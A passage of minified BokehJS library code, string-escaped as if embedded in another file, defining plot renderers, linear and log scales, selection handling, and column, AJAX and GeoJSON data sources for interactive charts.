l,h=this.model.data_source.selected;l=!h||h.is_empty()?[]:this.glyph instanceof P.LineView&&h.selected_glyph===this.glyph.model?this.model.view.convert_indices_from_subset(o):h.indices;var u,c=this.model.data_source.inspected;u=c&&0!==c.length?c[\\\"0d\\\"].glyph?this.model.view.convert_indices_from_subset(o):0<c[\\\"1d\\\"].indices.length?c[\\\"1d\\\"].indices:function(){for(var t=[],e=0,i=Object.keys(c[\\\"2d\\\"].indices);e<i.length;e++){var n=i[e];t.push(parseInt(n))}return t}():[];var _,p,d,f=function(){for(var t=[],e=0,i=o;e<i.length;e++){var n=i[e];N.includes(u,r.all_indices[n])&&t.push(n)}return t}(),v=this.plot_model.plot.lod_threshold;null!=this.model.document&&0<this.model.document.interactive_duration()&&!e&&null!=v&&this.all_indices.length>v?(o=this.decimated,_=this.decimated_glyph,p=this.decimated_glyph):(_=this.model.muted&&null!=this.muted_glyph?this.muted_glyph:this.glyph,p=this.nonselection_glyph),d=this.selection_glyph,null!=this.hover_glyph&&f.length&&(o=N.difference(o,f));var m,g=null;if(l.length&&this.have_selection_glyphs()){for(var y=Date.now(),b={},x=0,w=l;x<w.length;x++){var k=w[x];b[k]=!0}var S=new Array,C=new Array;if(this.glyph instanceof P.LineView)for(var T=0,A=this.all_indices;T<A.length;T++){var k=A[T];null!=b[k]?S.push(k):C.push(k)}else for(var E=0,M=o;E<M.length;E++){var k=M[E];null!=b[this.all_indices[k]]?S.push(k):C.push(k)}g=Date.now()-y,m=Date.now(),p.render(a,C,this.glyph),d.render(a,S,this.glyph),null!=this.hover_glyph&&(this.glyph instanceof P.LineView?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):this.hover_glyph.render(a,f,this.glyph))}else m=Date.now(),this.glyph instanceof P.LineView?this.hover_glyph&&f.length?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):_.render(a,this.all_indices,this.glyph):(_.render(a,o,this.glyph),this.hover_glyph&&f.length&&this.hover_glyph.render(a,f,this.glyph));var O=Date.now()-m;this.last_dtrender=O;var z=Date.now()-t;return j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): render finished in \\\"+z+\\\"ms\\\"),j.logger.trace(\\\" - map_data finished in       : \\\"+i+\\\"ms\\\"),j.logger.trace(\\\" - mask_data finished in      : \\\"+s+\\\"ms\\\"),null!=g&&j.logger.trace(\\\" - selection mask finished in : \\\"+g+\\\"ms\\\"),j.logger.trace(\\\" - glyph renders finished in  : \\\"+O+\\\"ms\\\"),a.restore()}},t.prototype.draw_legend=function(t,e,i,n,r,o,s,a){null==a&&(a=this.model.get_reference_point(o,s)),this.glyph.draw_legend_for_index(t,{x0:e,x1:i,y0:n,y1:r},a)},t.prototype.hit_test=function(t){if(!this.model.visible)return null;var e=this.glyph.hit_test(t);return null==e?null:this.model.view.convert_selection_from_subset(e)},t}(r.RendererView);i.GlyphRendererView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GlyphRenderer\\\",this.prototype.default_view=h,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],data_source:[s.Instance],view:[s.Instance,function(){return new o.CDSView}],glyph:[s.Instance],hover_glyph:[s.Instance],nonselection_glyph:[s.Any,\\\"auto\\\"],selection_glyph:[s.Any,\\\"auto\\\"],muted_glyph:[s.Instance],muted:[s.Bool,!1]}),this.override({level:\\\"glyph\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.data_source,this.view.compute_indices())},t.prototype.get_reference_point=function(t,e){var i=0;if(null!=t){var n=this.data_source.get_column(t);if(null!=n){var r=a.indexOf(n,e);-1!=r&&(i=r)}}return i},t.prototype.get_selection_manager=function(){return this.data_source.selection_manager},t}(r.Renderer);(i.GlyphRenderer=u).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(147),s=t(15),l=t(4),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e;a.prototype.initialize.call(this,t),this.xscale=this.plot_view.frame.xscales.default,this.yscale=this.plot_view.frame.yscales.default,this._renderer_views={},e=l.build_views(this._renderer_views,[this.model.node_renderer,this.model.edge_renderer],this.plot_view.view_options()),this.node_view=e[0],this.edge_view=e[1],this.set_data()},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.model.layout_provider.change,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.change,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.change,function(){return t.set_data()});var e=this.plot_model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.set_data()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.set_data()})}},t.prototype.set_data=function(t){var e,i;void 0===t&&(t=!0),this.node_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.edge_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0});var n=this.node_view.glyph;e=this.model.layout_provider.get_node_coordinates(this.model.node_renderer.data_source),n._x=e[0],n._y=e[1];var r=this.edge_view.glyph;i=this.model.layout_provider.get_edge_coordinates(this.model.edge_renderer.data_source),r._xs=i[0],r._ys=i[1],n.index_data(),r.index_data(),t&&this.request_render()},t.prototype.render=function(){this.edge_view.render(),this.node_view.render()},t}(r.RendererView);i.GraphRendererView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphRenderer\\\",this.prototype.default_view=a,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],layout_provider:[s.Instance],node_renderer:[s.Instance],edge_renderer:[s.Instance],selection_policy:[s.Instance,function(){return new o.NodesOnly}],inspection_policy:[s.Instance,function(){return new o.NodesOnly}]}),this.override({level:\\\"glyph\\\"})},t.prototype.get_selection_manager=function(){return this.node_renderer.data_source.selection_manager},t}(r.Renderer);(i.GraphRenderer=h).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.RendererView);i.GuideRendererView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GuideRenderer\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"overlay\\\"})},t}(r.Renderer);(i.GuideRenderer=a).initClass()},function(t,e,i){var n=t(185);i.GlyphRenderer=n.GlyphRenderer;var r=t(186);i.GraphRenderer=r.GraphRenderer;var o=t(187);i.GuideRenderer=o.GuideRenderer;var s=t(189);i.Renderer=s.Renderer},function(t,e,i){var n=t(391),r=t(6),o=t(49),s=t(15),a=t(59),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view,this.visuals=new o.Visuals(this.model),this._has_finished=!0},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.request_render=function(){this.plot_view.request_render()},t.prototype.map_to_screen=function(t,e){return this.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return!1},enumerable:!0,configurable:!0}),t}(r.DOMView);i.RendererView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Renderer\\\",this.define({level:[s.RenderLevel],visible:[s.Bool,!0]})},t}(a.Model);(i.Renderer=h).initClass()},function(t,e,i){var n=t(391),r=t(192),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalScale\\\"},t.prototype.compute=function(t){return e.prototype.compute.call(this,this.source_range.synthetic(t))},t.prototype.v_compute=function(t){return e.prototype.v_compute.call(this,this.source_range.v_synthetic(t))},t}(r.LinearScale);(i.CategoricalScale=o).initClass()},function(t,e,i){var n=t(190);i.CategoricalScale=n.CategoricalScale;var r=t(192);i.LinearScale=r.LinearScale;var o=t(193);i.LogScale=o.LogScale;var s=t(194);i.Scale=s.Scale},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearScale\\\"},t.prototype.compute=function(t){var e=this._compute_state(),i=e[0],n=e[1];return i*t+n},t.prototype.v_compute=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=i*t[o]+n;return r},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1];return(t-n)/i},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=(t[o]-n)/i;return r},t.prototype._compute_state=function(){var t=this.source_range.start,e=this.source_range.end,i=this.target_range.start,n=this.target_range.end,r=(n-i)/(e-t),o=-r*t+i;return[r,o]},t}(r.Scale);(i.LinearScale=o).initClass()},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogScale\\\"},t.prototype.compute=function(t){var e,i=this._compute_state(),n=i[0],r=i[1],o=i[2],s=i[3];if(0==o)e=0;else{var a=(Math.log(t)-s)/o;e=isFinite(a)?a*n+r:NaN}return e},t.prototype.v_compute=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length);if(0==r)for(var a=0;a<t.length;a++)s[a]=0;else for(var a=0;a<t.length;a++){var l=(Math.log(t[a])-o)/r,h=void 0;h=isFinite(l)?l*i+n:NaN,s[a]=h}return s},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=(t-n)/i;return Math.exp(r*s+o)},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length),a=0;a<t.length;a++){var l=(t[a]-n)/i;s[a]=Math.exp(r*l+o)}return s},t.prototype._get_safe_factor=function(t,e){var i,n=t<0?0:t,r=e<0?0:e;if(n==r)if(0==n)n=(i=[1,10])[0],r=i[1];else{var o=Math.log(n)/Math.log(10);n=Math.pow(10,Math.floor(o)),r=Math.ceil(o)!=Math.floor(o)?Math.pow(10,Math.ceil(o)):Math.pow(10,Math.ceil(o)+1)}return[n,r]},t.prototype._compute_state=function(){var t,e,i=this.source_range.start,n=this.source_range.end,r=this.target_range.start,o=this.target_range.end,s=o-r,a=this._get_safe_factor(i,n),l=a[0],h=a[1];0==l?(t=Math.log(h),e=0):(t=Math.log(h)-Math.log(l),e=Math.log(l));var u=s,c=r;return[u,c,t,e]},t}(r.Scale);(i.LogScale=o).initClass()},function(t,e,i){var n=t(391),r=t(274),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scale\\\",this.internal({source_range:[o.Any],target_range:[o.Any]})},t.prototype.r_compute=function(t,e){return this.target_range.is_reversed?[this.compute(e),this.compute(t)]:[this.compute(t),this.compute(e)]},t.prototype.r_invert=function(t,e){return this.target_range.is_reversed?[this.invert(e),this.invert(t)]:[this.invert(t),this.invert(e)]},t}(r.Transform);(i.Scale=s).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(196),i);var r=t(197);i.Selection=r.Selection},function(t,e,i){var n=t(391),r=t(59),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.do_selection=function(t,e,i,n){return null!==t&&(e.selected.update(t,i,n),e._select.emit(),!e.selected.is_empty())},e}(r.Model);(i.SelectionPolicy=o).prototype.type=\\\"SelectionPolicy\\\";var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_intersection(u)}return a}return null},e}(o);(i.IntersectRenderers=s).prototype.type=\\\"IntersectRenderers\\\";var a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_union(u)}return a}return null},e}(o);(i.UnionRenderers=a).prototype.type=\\\"UnionRenderers\\\"},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(21),a=t(32),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Selection\\\",this.define({indices:[o.Array,[]],line_indices:[o.Array,[]],multiline_indices:[o.Any,{}]}),this.internal({final:[o.Boolean],selected_glyphs:[o.Array,[]],get_view:[o.Any],image_indices:[o.Array,[]]})},t.prototype.initialize=function(){var t=this;e.prototype.initialize.call(this),this[\\\"0d\\\"]={glyph:null,indices:[],flag:!1,get_view:function(){return null}},this[\\\"2d\\\"]={indices:{}},this[\\\"1d\\\"]={indices:this.indices},this.get_view=function(){return null},this.connect(this.properties.indices.change,function(){return t[\\\"1d\\\"].indices=t.indices}),this.connect(this.properties.line_indices.change,function(){t[\\\"0d\\\"].indices=t.line_indices,0==t.line_indices.length?t[\\\"0d\\\"].flag=!1:t[\\\"0d\\\"].flag=!0}),this.connect(this.properties.selected_glyphs.change,function(){return t[\\\"0d\\\"].glyph=t.selected_glyph}),this.connect(this.properties.get_view.change,function(){return t[\\\"0d\\\"].get_view=t.get_view}),this.connect(this.properties.multiline_indices.change,function(){return t[\\\"2d\\\"].indices=t.multiline_indices})},Object.defineProperty(t.prototype,\\\"selected_glyph\\\",{get:function(){return 0<this.selected_glyphs.length?this.selected_glyphs[0]:null},enumerable:!0,configurable:!0}),t.prototype.add_to_selected_glyphs=function(t){this.selected_glyphs.push(t)},t.prototype.update=function(t,e,i){this.final=e,i?this.update_through_union(t):(this.indices=t.indices,this.line_indices=t.line_indices,this.selected_glyphs=t.selected_glyphs,this.get_view=t.get_view,this.multiline_indices=t.multiline_indices,this.image_indices=t.image_indices)},t.prototype.clear=function(){this.final=!0,this.indices=[],this.line_indices=[],this.multiline_indices={},this.get_view=function(){return null},this.selected_glyphs=[]},t.prototype.is_empty=function(){return 0==this.indices.length&&0==this.line_indices.length&&0==this.image_indices.length},t.prototype.update_through_union=function(t){this.indices=s.union(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t.prototype.update_through_intersection=function(t){this.indices=s.intersection(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t}(r.Model);(i.Selection=l).initClass()},function(t,e,i){var n=t(391),r=t(205),o=t(14),_=t(44),s=t(15),a=function(i){function t(t){var e=i.call(this,t)||this;return e.initialized=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AjaxDataSource\\\",this.define({mode:[s.String,\\\"replace\\\"],content_type:[s.String,\\\"application/json\\\"],adapter:[s.Any],http_headers:[s.Any,{}],max_size:[s.Number],method:[s.String,\\\"POST\\\"],if_modified:[s.Bool,!1]})},t.prototype.destroy=function(){null!=this.interval&&clearInterval(this.interval),i.prototype.destroy.call(this)},t.prototype.setup=function(){var t=this;!this.initialized&&(this.initialized=!0,this.get_data(this.mode),this.polling_interval)&&(this.interval=setInterval(function(){return t.get_data(t.mode,t.max_size,t.if_modified)},this.polling_interval))},t.prototype.get_data=function(t,e,i){var n=this;void 0===e&&(e=0),void 0===i&&(i=!1);var r=this.prepare_request();r.addEventListener(\\\"load\\\",function(){return n.do_load(r,t,e)}),r.addEventListener(\\\"error\\\",function(){return n.do_error(r)}),r.send()},t.prototype.prepare_request=function(){var t=new XMLHttpRequest;t.open(this.method,this.data_url,!0),t.withCredentials=!1,t.setRequestHeader(\\\"Content-Type\\\",this.content_type);var e=this.http_headers;for(var i in e){var n=e[i];t.setRequestHeader(i,n)}return t},t.prototype.do_load=function(t,e,i){if(200===t.status){var n=JSON.parse(t.responseText),r=this.adapter,o={};switch(o=null!=r?_.isFunction(r)?r(this,{response:n}):r.execute(this,{response:n}):n,e){case\\\"replace\\\":this.data=o;break;case\\\"append\\\":for(var s=this.data,a=0,l=this.columns();a<l.length;a++){var h=l[a],u=Array.from(s[h]),c=Array.from(o[h]);o[h]=u.concat(c).slice(-i)}this.data=o}}},t.prototype.do_error=function(t){o.logger.error(\\\"Failed to fetch JSON from \\\"+this.data_url+\\\" with code \\\"+t.status)},t}(r.RemoteDataSource);(i.AjaxDataSource=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(197),a=t(21),l=t(201),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CDSView\\\",this.define({filters:[o.Array,[]],source:[o.Instance]}),this.internal({indices:[o.Array,[]],indices_map:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.compute_indices()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.filters.change,function(){t.compute_indices(),t.change.emit()}),null!=this.source&&(null!=this.source.change&&this.connect(this.source.change,function(){return t.compute_indices()}),null!=this.source.streaming&&this.connect(this.source.streaming,function(){return t.compute_indices()}),null!=this.source.patching&&this.connect(this.source.patching,function(){return t.compute_indices()}))},t.prototype.compute_indices=function(){var e=this,r=this.filters.map(function(t){return t.compute_indices(e.source)});0<(r=function(){for(var t=[],e=0,i=r;e<i.length;e++){var n=i[e];null!=n&&t.push(n)}return t}()).length?this.indices=a.intersection.apply(this,r):this.source instanceof l.ColumnarDataSource&&(this.indices=this.source.get_indices()),this.indices_map_to_subset()},t.prototype.indices_map_to_subset=function(){this.indices_map={};for(var t=0;t<this.indices.length;t++)this.indices_map[this.indices[t]]=t},t.prototype.convert_selection_from_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_selection_to_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices_map[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_indices_from_subset=function(t){var e=this;return t.map(function(t){return e.indices[t]})},t}(r.Model);(i.CDSView=h).initClass()},function(t,e,i){var n=t(391),r=t(201),o=t(8),s=t(15),k=t(29),h=t(36),S=t(44),u=t(43),c=t(32),a=t(51);function _(t,e,i){if(S.isArray(t)){var n=t.concat(e);return null!=i&&n.length>i?n.slice(-i):n}if(S.isTypedArray(t)){var r=t.length+e.length;if(null!=i&&i<r){var o=r-i,s=t.length,n=void 0;t.length<i?(n=new t.constructor(i)).set(t,0):n=t;for(var a=o,l=s;a<l;a++)n[a-o]=n[a];for(var a=0,l=e.length;a<l;a++)n[a+(s-o)]=e[a];return n}var h=new t.constructor(e);return u.concat(t,h)}throw new Error(\\\"unsupported array types\\\")}function C(t,e){var i,n,r;return S.isNumber(t)?(r=(i=t)+1,n=1):(i=null!=t.start?t.start:0,r=null!=t.stop?t.stop:e,n=null!=t.step?t.step:1),[i,r,n]}function p(t,e,i){for(var n=new k.Set,r=!1,o=0,s=e;o<s.length;o++){var a=s[o],l=a[0],h=a[1],u=void 0,c=void 0;if(S.isArray(l)){var _=l[0];n.add(_),c=i[_],u=t[_]}else S.isNumber(l)?(h=[h],n.add(l)):r=!0,l=[0,0,l],c=[1,t.length],u=t;2===l.length&&(c=[1,c[0]],l=[l[0],0,l[1]]);for(var p=0,d=C(l[1],c[0]),f=d[0],v=d[1],m=d[2],g=C(l[2],c[1]),y=g[0],b=g[1],x=g[2],_=f;_<v;_+=m)for(var w=y;w<b;w+=x)r&&n.add(w),u[_*c[1]+w]=h[p],p++}return n}i.stream_to_column=_,i.slice=C,i.patch_to_column=p;var l=function(e){function l(t){return e.call(this,t)||this}return n.__extends(l,e),l.initClass=function(){this.prototype.type=\\\"ColumnDataSource\\\",this.define({data:[s.Any,{}]})},l.prototype.initialize=function(){var t;e.prototype.initialize.call(this),t=h.decode_column_data(this.data),this.data=t[0],this._shapes=t[1]},l.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=l._value_to_json);for(var i={},n=this.serializable_attributes(),r=0,o=c.keys(n);r<o.length;r++){var s=o[r],a=n[s];\\\"data\\\"===s&&(a=h.encode_column_data(a,this._shapes)),t?i[s]=a:s in this._set_after_defaults&&(i[s]=a)}return e(\\\"attributes\\\",i,this)},l._value_to_json=function(t,e,i){return S.isPlainObject(e)&&\\\"data\\\"===t?h.encode_column_data(e,i._shapes):o.HasProps._value_to_json(t,e,i)},l.prototype.stream=function(t,e,i){var n=this.data;for(var r in t)n[r]=_(n[r],t[r],e);if(this.setv({data:n},{silent:!0}),this.streaming.emit(),null!=this.document){var o=new a.ColumnsStreamedEvent(this.document,this.ref(),t,e);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:i,hint:o})}},l.prototype.patch=function(t,e){var i=this.data,n=new k.Set;for(var r in t){var o=t[r];n=n.union(p(i[r],o,this._shapes[r]))}if(this.setv({data:i},{silent:!0}),this.patching.emit(n.values),null!=this.document){var s=new a.ColumnsPatchedEvent(this.document,this.ref(),t);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:e,hint:s})}},l}(r.ColumnarDataSource);(i.ColumnDataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(202),o=t(19),s=t(14),a=t(17),l=t(15),h=t(44),u=t(21),c=t(32),_=t(197),p=t(196),d=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_array=function(t){var e=this.data[t];return null==e?this.data[t]=e=[]:h.isArray(e)||(this.data[t]=e=Array.from(e)),e},t.initClass=function(){this.prototype.type=\\\"ColumnarDataSource\\\",this.define({selection_policy:[l.Instance,function(){return new p.UnionRenderers}]}),this.internal({selection_manager:[l.Instance,function(t){return new a.SelectionManager({source:t})}],inspected:[l.Instance,function(){return new _.Selection}],_shapes:[l.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._select=new o.Signal0(this,\\\"select\\\"),this.inspect=new o.Signal(this,\\\"inspect\\\"),this.streaming=new o.Signal0(this,\\\"streaming\\\"),this.patching=new o.Signal(this,\\\"patching\\\")},t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:null},t.prototype.columns=function(){return c.keys(this.data)},t.prototype.get_length=function(t){void 0===t&&(t=!0);var e=u.uniq(c.values(this.data).map(function(t){return t.length}));switch(e.length){case 0:return null;case 1:return e[0];default:var i=\\\"data source has columns of inconsistent lengths\\\";if(t)return s.logger.warn(i),e.sort()[0];throw new Error(i)}},t.prototype.get_indices=function(){var t=this.get_length();return u.range(0,null!=t?t:1)},t.prototype.clear=function(){for(var t={},e=0,i=this.columns();e<i.length;e++){var n=i[e];t[n]=new this.data[n].constructor}this.data=t},t}(r.DataSource);(i.ColumnarDataSource=d).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(197),l=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataSource\\\",this.define({selected:[o.Instance,function(){return new a.Selection}],callback:[o.Any]})},t.prototype.connect_signals=function(){var e=this;i.prototype.connect_signals.call(this),this.connect(this.properties.selected.change,function(){var t=e.callback;null!=t&&(s.isFunction(t)?t(e):t.execute(e))})},t}(r.Model);(i.DataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(201),b=t(14),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GeoJSONDataSource\\\",this.define({geojson:[o.Any]}),this.internal({data:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._update_data()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.geojson.change,function(){return t._update_data()})},t.prototype._update_data=function(){this.data=this.geojson_to_column_data()},t.prototype._get_new_list_array=function(t){return s.range(0,t).map(function(t){return[]})},t.prototype._get_new_nan_array=function(t){return s.range(0,t).map(function(t){return NaN})},t.prototype._add_properties=function(t,e,i,n){var r=t.properties||{};for(var o in r)e.hasOwnProperty(o)||(e[o]=this._get_new_nan_array(n)),e[o][i]=r[o]},t.prototype._add_geometry=function(t,e,i){function n(t){return null!=t?t:NaN}function r(t,e){return t.concat([[NaN,NaN,NaN]]).concat(e)}switch(t.type){case\\\"Point\\\":var o=t.coordinates,s=o[0],a=o[1],l=o[2];e.x[i]=s,e.y[i]=a,e.z[i]=n(l);break;case\\\"LineString\\\":for(var h=t.coordinates,u=0;u<h.length;u++){var c=h[u],s=c[0],a=c[1],l=c[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"Polygon\\\":1<t.coordinates.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\");for(var _=t.coordinates[0],u=0;u<_.length;u++){var p=_[u],s=p[0],a=p[1],l=p[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPoint\\\":b.logger.warn(\\\"MultiPoint not supported in Bokeh\\\");break;case\\\"MultiLineString\\\":for(var h=t.coordinates.reduce(r),u=0;u<h.length;u++){var d=h[u],s=d[0],a=d[1],l=d[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPolygon\\\":for(var f=[],v=0,m=t.coordinates;v<m.length;v++){var g=m[v];1<g.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\"),f.push(g[0])}for(var h=f.reduce(r),u=0;u<h.length;u++){var y=h[u],s=y[0],a=y[1],l=y[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;default:throw new Error(\\\"Invalid GeoJSON geometry type: \\\"+t.type)}},t.prototype.geojson_to_column_data=function(){var t,e=JSON.parse(this.geojson);switch(e.type){case\\\"GeometryCollection\\\":if(null==e.geometries)throw new Error(\\\"No geometries found in GeometryCollection\\\");if(0===e.geometries.length)throw new Error(\\\"geojson.geometries must have one or more items\\\");t=e.geometries;break;case\\\"FeatureCollection\\\":if(null==e.features)throw new Error(\\\"No features found in FeaturesCollection\\\");if(0==e.features.length)throw new Error(\\\"geojson.features must have one or more items\\\");t=e.features;break;default:throw new Error(\\\"Bokeh only supports type GeometryCollection and FeatureCollection at top level\\\")}for(var i=0,n=0,r=t;n<r.length;n++){var o=r[n],s=\\\"Feature\\\"===o.type?o.geometry:o;\\\"GeometryCollection\\\"==s.type?i+=s.geometries.length:i+=1}for(var a={x:this._get_new_nan_array(i),y:this._get_new_nan_array(i),z:this._get_new_nan_array(i),xs:this._get_new_list_array(i),ys:this._get_new_list_array(i),zs:this._get_new_list_array(i)},l=0,h=0,u=t;h<u.length;h++){var o=u[h],s=\\\"Feature\\\"==o.type?o.geometry:o;if(\\\"GeometryCollection\\\"==s.type)for(var c=0,_=s.geometries;c<_.length;c++){var p=_[c];this._add_geometry(p,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}else this._add_geometry(s,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}return a},t}(r.ColumnarDataSource);(i.GeoJSONDataSource=a).initClass()},function(t,e,i){var n=t(198);i.AjaxDataSource=n.AjaxDataSource;var r=t(200);i.ColumnDataSource=r.ColumnDataSource;var o=t(201);i.ColumnarDataSource=o.ColumnarDataSource;var s=t(199);i.CDSView=s.CDSView;var a=t(202);i.DataSource=a.DataSource;var l=t(203);i.GeoJSONDataSource=l.GeoJSONDataSource;var h=t(205);i.RemoteDataSource=h.RemoteDataSource},function(t,e,i){var n=t(391),r=t(200),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:[]},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.setup()},t.initClass=function(){this.prototype.type=\\\"RemoteDataSource\\\",this.define({data_url:[o.String],polling_interval:[o.Number]})},t}(r.ColumnDataSource);(i.RemoteDataSource=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),v=t(21),s=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AdaptiveTicker\\\",this.define({base:[o.Number,10],mantissas:[o.Array,[1,2,5]],min_interval:[o.Number,0],max_interval:[o.Number]})},t.prototype.initialize=function(){i.prototype.initialize.call(this);var 